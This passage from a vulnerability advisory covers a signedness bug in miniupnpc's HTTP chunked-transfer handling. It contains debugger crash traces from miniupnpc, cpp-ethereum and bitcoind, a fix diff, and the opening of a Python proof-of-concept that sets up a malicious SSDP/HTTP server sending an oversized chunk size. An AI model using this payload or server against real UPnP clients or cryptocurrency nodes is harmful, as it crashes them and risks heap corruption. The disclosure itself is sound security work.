AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n3\r\nbye\r\n0'>
[poc.py -               listen() ][    INFO] waiting for connection
```


#### A) miniupnpc v2.0

```python
[tin@localhost miniupnpc]$ gdb --args ./upnpc-static  -u http://192.168.2.104:65000/xxxx.xml -d -s
...
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/tin/miniupnp/miniupnpc/./upnpc-static -u http://192.168.2.104:65000/xxxx.xml -d -s
upnpc : miniupnpc library test client, version 2.0.
 (c) 2005-2016 Thomas Bernard.
Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
for more information.
parsed url : hostname='192.168.2.104' port=65000 path='/xxxx.xml' scope_id=0
address miniwget : 192.168.2.113
header='Transfer-Encoding', value='chunked'
chunked transfer-encoding!
header='Content-Length', value='9041'                //#!  user provided content length (valid)
Content-Length: 9041
header='Content-Type', value='text/html'
chunksize = 15 (f)
chunksize = 2147483648 (80000000)                    //#!  user provided chunk size 0x80000000

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6
(gdb) up
#1  0x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306
306          memcpy(content_buf + content_buf_used, buf + i, bytestocopy);
(gdb) bt
#0  0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6
#1  0x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306
#2  0x0000000000408d5c in miniwget3 (host=host@entry=0x7fffffffd500 "192.168.2.104", port=<optimized out>, path=0x7fffffffe73c "/xxxx.xml", size=size@entry=0x7fffffffd59c,
    addr_str=addr_str@entry=0x7fffffffe320 "192.168.2.113", addr_str_len=addr_str_len@entry=64, httpversion=httpversion@entry=0x40b665 "1.1", scope_id=0, status_code=status_code@entry=0x0)
    at miniwget.c:468
#3  0x00000000004091f1 in miniwget2 (status_code=0x0, scope_id=<optimized out>, addr_str_len=64, addr_str=0x7fffffffe320 "192.168.2.113", size=0x7fffffffd59c, path=<optimized out>, port=<optimized out>,
    host=0x7fffffffd500 "192.168.2.104") at miniwget.c:484
#4  miniwget_getaddr (url=url@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", size=size@entry=0x7fffffffd59c, addr=addr@entry=0x7fffffffe320 "192.168.2.113", addrlen=addrlen@entry=64,
    scope_id=scope_id@entry=0, status_code=status_code@entry=0x0) at miniwget.c:659
#5  0x00000000004043f1 in UPNP_GetIGDFromUrl (rootdescurl=rootdescurl@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", urls=urls@entry=0x7fffffffd6a0, data=data@entry=0x7fffffffd790,
    lanaddr=lanaddr@entry=0x7fffffffe320 "192.168.2.113", lanaddrlen=lanaddrlen@entry=64) at miniupnpc.c:708
#6  0x0000000000401f69 in main (argc=<optimized out>, argv=0x7fffffffe478) at upnpc.c:690
(gdb) i lo
i = 30
buf = "f\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 1418 times>...
n = 1354
endofheaders = 94
chunked = 1                      //#!  chunked-encoding mode
content_length = 9041            //#!  user provided content-length (valid)
chunksize = 2147483648           //#!  user provided chunk-size (invalid, 0x80000000)
bytestocopy = 2147483648         //#!  is our chunk-size. used in call to memcpy as the number of bytes to copy.
header_buf = 0x610010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 76 times>...
header_buf_len = 2048
header_buf_used = 1448
content_buf = 0x610820 "<xml>BOOM</xml>"
content_buf_len = 9041           //#!  has been reallocated to content-length (otherwise this would be ~2k)
content_buf_used = 15
chunksize_buf = "\000\060\060\060\060\060\060\060\000\311\377\377\377\177\000\000\313\305@\000\000\000\000\000\005\000\000\000\000\000\000"
chunksize_buf_index = 0
reason_phrase = 0x0
reason_phrase_len = 0
```


#### B) cpp-ethereum v1.3.0

```python
[tin@localhost ~]$ eth --version
eth version 1.3.0
eth network protocol version: 63
Client database version: 12041
Build: Linux/g++/Interpreter/RelWithDebInfo

[tin@localhost miniupnpc]$ gdb --args eth -v 9
...
(gdb) r
Starting program: /usr/bin/eth -v 9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
cpp-ethereum, a C++ Ethereum client
...  05:57:56 PM.351|eth  Reading /home/...
⧠â
    ¹  05:57:56 PM.358|eth  Id: ##013a7f1fâ¦
[New Thread 0x7fffe6191700 (LWP 9306)]
...  05:57:56 PM.371|eth  Opened blockchain DB. Latest: #5203fef2⦠(rebuild not needed)
[New Thread 0x7fffe5990700 (LWP 9307)]
...  05:57:56 PM.374|eth  Opened state DB.
[New Thread 0x7fffe4e2a700 (LWP 9308)]
⧫ â  05:57:56 PM.375|eth  startedWorking()
cpp-ethereum 1.3.0
  By cpp-ethereum contributors, (c) 2013-2016.
  See the README for contributors and credits.
Transaction Signer: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000)
Mining Beneficiary: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000)
Foundation: XE55PXQKKKXXXXXXXXT1XCYW6R5ELFAT6EM (00000000-0000-0000-0000-000000000000 - de0b2956)
[New Thread 0x7fffd7fff700 (LWP 9309)]
[New Thread 0x7fffd77fe700 (LWP 9310)]
  â
   ¹  05:58:00 PM.757|p2p  UPnP device: http://192.168.2.104:65000/xxxx.xml [st: urn:schemas-upnp-org:device:InternetGatewayDevice:1 ]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffd7fff700 (LWP 9309)]
0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6
(gdb)
#0  0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6
#1  0x00007ffff4a8bfce in getHTTPResponse () from /lib64/libminiupnpc.so.16
#2  0x00007ffff4a8c43f in miniwget3.constprop.0 () from /lib64/libminiupnpc.so.16
#3  0x00007ffff4a8c873 in miniwget () from /lib64/libminiupnpc.so.16
#4  0x00007ffff62cb97f in dev::p2p::UPnP::UPnP() () from /lib64/libp2p.so
#5  0x00007ffff633d2d0 in dev::p2p::Network::traverseNAT(std::set<boost::asio::ip::address, std::less<boost::asio::ip::address>, std::allocator<boost::asio::ip::address> > const&, unsigned short, boost::asio::ip::address&) () from /lib64/libp2p.so
#6  0x00007ffff62eed05 in dev::p2p::Host::determinePublic() () from /lib64/libp2p.so
#7  0x00007ffff62ef3b3 in dev::p2p::Host::startedWorking() () from /lib64/libp2p.so
#8  0x00007ffff610e979 in dev::Worker::startWorking()::{lambda()#1}::operator()() const () from /lib64/libdevcore.so
#9  0x00007ffff4831220 in ?? () from /lib64/libstdc++.so.6
#10 0x00007ffff72cddc5 in start_thread () from /lib64/libpthread.so.0
#11 0x00007ffff3f97ced in clone () from /lib64/libc.so.6
```


#### C) bitcoind 0.13.2 (windows)

```c
#> bitcoin-0.13.2\bin\bitcoind.exe -upnp -printtoconsole

Bitcoin version v0.13.2
...
mapBlockIndex.size() = 1
nBestHeight = 0
setKeyPool.size() = 100
mapWallet.size() = 0
mapAddressBook.size() = 1
init message: Loading addresses...
torcontrol thread start
Loaded 0 addresses from peers.dat  1ms
init message: Loading banlist...
init message: Starting network threads...
upnp thread start
init message: Done loading
opencon thread start
addcon thread start
dnsseed thread start
msghand thread start
net thread start
Loading addresses from DNS seeds (could take a while)
132 addresses found from DNS seeds
dnsseed thread exit
receive version message: /Satoshi:0.13.1/: version xxxx, blocks=xxxxx, us=xxxxxx:57964, peer=1
Pre-allocating up to position 0x100000 in rev00000.dat
...
<crash:upnp thread crashing with access violation>


 //#! missing symbols - stacktrace not really useful.

(5fdc.5d34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for bitcoind.exe -
bitcoind!secp256k1_ecdsa_recover+0x1ea44f:
00000000`01615f1f f3a4            rep movs byte ptr [rdi],byte ptr [rsi]
0:016> !analyze -v -f
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP:
bitcoind!secp256k1_ecdsa_recover+1ea44f
00000000`01615f1f f3a4            rep movs byte ptr [rdi],byte ptr [rsi]

EXCEPTION_RECORD:  ffffffffffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0000000001615f1f (bitcoind!secp256k1_ecdsa_recover+0x00000000001ea44f)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: 0000000008db0000
Attempt to read from address 0000000008db0000

CONTEXT:  0000000000000000 -- (.cxr 0x0;r)
rax=0000000008385900 rbx=00000000083848a0 rcx=0000000094964738
rdx=0000000000000000 rsi=0000000008db0000 rdi=0000000008388472
rip=0000000001615f1f rsp=0000000008dad3e0 rbp=00000000949672aa
 r8=0000000008387c80  r9=0000000094967295 r10=0000000000000000
r11=0000000008dacd00 r12=00000000949672b8 r13=00000000949672aa
r14=00000000000005b4 r15=0000000000000556
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
bitcoind!secp256k1_ecdsa_recover+0x1ea44f:
00000000`01615f1f f3a4            rep movs byte ptr [rdi],byte ptr [rsi]

FAULTING_THREAD:  0000000000005d34
PROCESS_NAME:  bitcoind.exe
ERROR_CODE: (NTSTATUS) 0xc0000005
EXCEPTION_CODE: (NTSTATUS) 0xc0000005
EXCEPTION_PARAMETER1:  0000000000000000
EXCEPTION_PARAMETER2:  0000000008db0000
READ_ADDRESS:  0000000008db0000
FOLLOWUP_IP:
bitcoind!secp256k1_ecdsa_recover+1ea44f
00000000`01615f1f f3a4            rep movs byte ptr [rdi],byte ptr [rsi]
APPLICATION_VERIFIER_FLAGS:  0
APP:  bitcoind.exe
ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) amd64fre
BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE
PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_PROBABLYEXPLOITABLE
DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_PROBABLYEXPLOITABLE
LAST_CONTROL_TRANSFER:  from 00000000016160f0 to 0000000001615f1f
STACK_TEXT:
00000000`08dad3e0 00000000`016160f0 : 00000000`00000754 00000000`00000754 00000000`00000000 00000000`0823af72 : bitcoind!secp256k1_ecdsa_recover+0x1ea44f
00000000`08dadcd0 00000000`01616467 : 00000000`00000010 00007ffc`6a207185 00000000`00000000 00000000`00000010 : bitcoind!secp256k1_ecdsa_recover+0x1ea620
00000000`08dae580 00000000`01612e97 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x1ea997
00000000`08dae650 00000000`0124a8fa : 00000000`08239840 00007ffc`a255cfb6 00000000`15040011 00000000`00000001 : bitcoind!secp256k1_ecdsa_recover+0x1e73c7
00000000`08dae740 00000000`0165252a : 00000000`00000000 00000000`08230000 00000000`00000002 00000000`08daf980 : bitcoind+0x7a8fa
00000000`08daf830 00000000`014567c5 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x226a5a
00000000`08daf940 00007ffc`a05cb2ba : 00000000`081abb90 00000000`00000000 00000000`00000000 00000000`00000000 : bitcoind!secp256k1_ecdsa_recover+0x2acf5
00000000`08dafb50 00007ffc`a05cb38c : 00007ffc`a0620670 00000000`08237230 00000000`00000000 00000000`00000000 : msvcrt!beginthreadex+0x12a
00000000`08dafb80 00007ffc`a0d28364 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : msvcrt!endthreadex+0xac
00000000`08dafbb0 00007ffc`a25870d1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
00000000`08dafbe0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21

STACK_COMMAND:  .cxr 0x0 ; kb
SYMBOL_STACK_INDEX:  0
SYMBOL_NAME:  bitcoind!secp256k1_ecdsa_recover+1ea44f
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: bitcoind
IMAGE_NAME:  bitcoind.exe
FAILURE_BUCKET_ID:  STRING_DEREFERENCE_PROBABLYEXPLOITABLE_c0000005_bitcoind.exe!secp256k1_ecdsa_recover
BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_bitcoind!secp256k1_ecdsa_recover+1ea44f
ANALYSIS_SOURCE:  UM
FAILURE_ID_HASH_STRING:  um:string_dereference_probablyexploitable_c0000005_bitcoind.exe!secp256k1_ecdsa_recover
```

#### D) bitcoind 0.14.1 (linux)

```python
#> src\bitcoind -upnp -printtoconsole

pwndbg> bt
#0  __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:36
#1  0x00007ffff6abe91e in getHTTPResponse () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#2  0x00007ffff6abed22 in ?? () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#3  0x00007ffff6abf12d in miniwget_getaddr () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#4  0x00007ffff6ac0f9e in UPNP_GetValidIGD () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10
#5  0x000055555560ee0b in ThreadMapPort () at net.cpp:1446
#6  0x0000555555622e44 in TraceThread<void (*)()> (name=0x555555a81767 "upnp", func=0x55555560ed3a <ThreadMapPort()>) at util.h:218
#7  0x0000555555689c4e in boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> >::operator()<void (*)(char const*, void (*)()), boost::_bi::list0> (this=0x5555561544c0, f=@0x5555561544b8: 0x555555622dc2 <TraceThread<void (*)()>(char const*, void (*)())>, a=...) at /usr/include/boost/bind/bind.hpp:313
#8  0x000055555568996a in boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > >::operator() (this=0x5555561544b8) at /usr/include/boost/bind/bind_template.hpp:20
#9  0x00005555556896eb in boost::detail::thread_data<boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > > >::run (this=0x555556154300) at /usr/include/boost/thread/detail/thread.hpp:117
#10 0x00007ffff753aaea in ?? () from /usr/lib/x86_64-linux-gnu/libboost_thread.so.1.55.0
#11 0x00007ffff5c3a064 in start_thread (arg=0x7fffd97fa700) at pthread_create.c:309
#12 0x00007ffff596f62d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111
```


Mitigation / Workaround / Discussion
-------------------------------------

* update to miniupnpc-2.0.20170509.tar.gz
* disable upnp
* or apply the following patch (also see provided patch1.diff, patch2.diff)


```diff
--- a/miniupnpc/miniwget.c
+++ b/miniupnpc/miniwget.c
@@ -280,11 +280,11 @@ getHTTPResponse(int s, int * size, int * status_code)
                                                        goto end_of_stream;
                                                }
                                        }
-                                       bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i);
+                                       bytestocopy = ((unsigned int)chunksize < (n - i))?chunksize:(unsigned int)(n - i);
                                        if((content_buf_used + bytestocopy) > content_buf_len)
                                        {
                                                char * tmp;
-                                               if(content_length >= (int)(content_buf_used + bytestocopy)) {
+                                               if((unsigned int)content_length >= (content_buf_used + bytestocopy)) {
                                                        content_buf_len = content_length;
                                                } else {
                                                        content_buf_len = content_buf_used + bytestocopy;
@@ -309,14 +309,14 @@ getHTTPResponse(int s, int * size, int * status_code)
                        {
                                /* not chunked */
                                if(content_length > 0
-                                  && (int)(content_buf_used + n) > content_length) {
+                                  && (content_buf_used + n) > (unsigned int)content_length) {
                                        /* skipping additional bytes */
                                        n = content_length - content_buf_used;
                                }
                                if(content_buf_used + n > content_buf_len)
                                {
                                        char * tmp;
-                                       if(content_length >= (int)(content_buf_used + n)) {
+                                       if((unsigned int)content_length >= (content_buf_used + n)) {
                                                content_buf_len = content_length;
                                        } else {
                                                content_buf_len = content_buf_used + n;
@@ -336,7 +336,7 @@ getHTTPResponse(int s, int * size, int * status_code)
                        }
                }
                /* use the Content-Length header value if available */
-               if(content_length > 0 && (int)content_buf_used >= content_length)
+               if(content_length > 0 && content_buf_used >= (unsigned int)content_length)
                {
 #ifdef DEBUG
                        printf("End of HTTP content\n");
```


Notes
-----

* Vendor acknowledgement / Miniupnp Changelog [5]
* Thanks to the miniupnp project for providing a fixed version within ~1 week!
* This research/disclosure was coordinated in cooperation with the ethereum foundation at ethereum.org. Thanks, it was a pleasure working with you!


References
----------

    [1] http://miniupnp.free.fr/
    [2] http://miniupnp.free.fr/files/
    [3] https://github.com/miniupnp/miniupnp/tree/master
    [4] https://github.com/miniupnp/miniupnp/blob/master/miniupnpc/miniwget.c#L236
    [5] http://miniupnp.free.fr/files/changelog.php?file=miniupnpc-2.0.20170509.tar.gz
    [6] https://github.com/miniupnp/miniupnp/commit/f0f1f4b22d6a98536377a1bb07e7c20e4703d229


Contact
-------

    https://github.com/tintinweb





#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
###############################################################################
#
# FOR DEMONSTRATION PURPOSES ONLY!
#
###############################################################################
#
#  gdb --args ./upnpc-static  -u http://192.168.2.110:5200/xxxx.xml -d -s    <- segfault
#
import socket
import struct
import logging
import threading
__version__ = 0.3

logger = logging.getLogger(__name__)


SCENARIO_CRASH_LARGE_MEMCPY = 1  # crash in memcpy with access violation READ (large memcpy)
SCENARIO_CRASH_REALLOC_NULLPTR = 2  # miniupnpc <= v1.8 did not catch realloc errors
SCENARIO_CRASH_1_BYTE_BUFFER = 3  # crash in memcpy overwriting heap (more likely crashing in read)
SELECT_SCENARIO = SCENARIO_CRASH_LARGE_MEMCPY # default


class HttpLikeMessage(object):
    """
    Builds and parses HTTP like message structures.
    """
    linebrk = '\r\n'

    def __init__(self, raw):
        self.raw = raw
        self.header = self.request = self.method = self.path = self.protocol = self.body = None
        self.parse_fuzzy_http(raw)

    def startswith(self, other):
        return self.raw.startswith(other)

    def parse_fuzzy_http(self, data):
        data = data.replace('\r', '')
        try:
            head, self.body = data.split("\n\n", 1)
        except ValueError:
            # no body
            self.body = ''
            head = data

        try:
            head_items = head.strip().split('\n')
            self.request = head_items.pop(0)
            self.method, self.path, self.protocol = self.request.split(" ")

            self.header = {}
            for k, v in (line.strip().split(':', 1) for line in head_items if head.strip()):
                self.header[k.strip()] = v.strip()
        except Exception, e:
            logger.exception(e)
            e.msg = data
            raise e

    def serialize(self):
        lines = [self.request, ]
        lines += ['%s: %s' % (k, v) for k, v in self.header.iteritems()]
        return self.linebrk.join(lines) + self.linebrk * 2 + self.body

    def __str__(self):
        return self.serialize()

    def __repr__(self):
        return "<%s msg=%r header=%r body=%r>" % (self.__class__.__name__,
                                                  (self.method, self.path, self.protocol),
                                                  self.header,
                                                  self.body)


class UPnPListener(object):
    def __init__(self, group="239.255.255.250", port=1900):
        self.group, self.port = group, port
        self.callbacks = {}
        # multicast socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        logger.debug("[SSDP] bind: 0.0.0.0:%s" % port)
        sock.bind(('0.0.0.0', port))
        mreq = struct.pack("=4sl", socket.inet_aton(group), socket.INADDR_ANY)
        logger.debug("[SSDP] add membership: UDP/%s" % group)
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
        self.listening = False
        self.sock = sock
        self.devices = {}

    # Start listening
    def listen(self):
        self.listening = True

        # Hint: this should be on a thread ;)
        logger.debug("[SSDP] listening...")
        while self.listening:
            try:
                # Grab a large wad of data
                data, peer = self.sock.recvfrom(10240)
                data = data.decode("utf-8")
                msg = HttpLikeMessage(data)
                # msg = HttpLikeMessage(self.sock.recv(10240).decode('utf-8'))
                logger.debug("[<-----] %r" % msg)

                # execute callback if available
                cb = self.callbacks.get(msg.method, None)
                cb and cb(self, msg, peer)
            except Exception, e:
                logger.exception(e)

    # Register the uuid to a name -- as an example ... I put a handler here ;)
    def register_device(self, name="", uuid=""):
        logger.debug("%s; %s" % (name, uuid))
        if name == "" or uuid == "":
            logger.error("[SSDP] Error registering device, check your name and uuid")
            return

        # Store uuid to name for quick search
        self.devices[uuid] = name

    def register_callback(self, name, f):
        logger.debug("[SSDP] add callback for %r : %r" % (name, f))
        self.callbacks[name] = f


class BadHttpServer(threading.Thread):
    def __init__(self, bind, filter=None):
        threading.Thread.__init__(self)
        self.bind = bind
        self.filter = filter

    def __repr__(self):
        return "<%s bind=%s>" % (self.__class__.__name__,
                                 repr(self.bind))

    def run(self, ):
        self.listen(filter=self.filter)

    def listen(self, filter=None):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        logger.info("[HTTP] bind %s:%d"%self.bind)
        sock.bind(self.bind)
        # Listen for incoming connections
        sock.listen(1)

        while True:
            # Wait for a connection
            logger.info("[HTTP] waiting for connection")
            connection, client_address = sock.accept()

            try:
                if filter and client_address[0] not in filter:
                    raise Exception("[HTTP] wait for different client: %s!=%s" % (client_address[0], filter))
                logger.info("[      ] connection from: %s" % repr(client_address))

                chunks = []
                # TODO refactor crappy code
                while True:
                    data = connection.recv(1024 * 8)
                    if not data:
                        break
                    chunks.append(data)
                    if data.endswith("\r\n\r\n"):
                        break
                logger.debug(data)
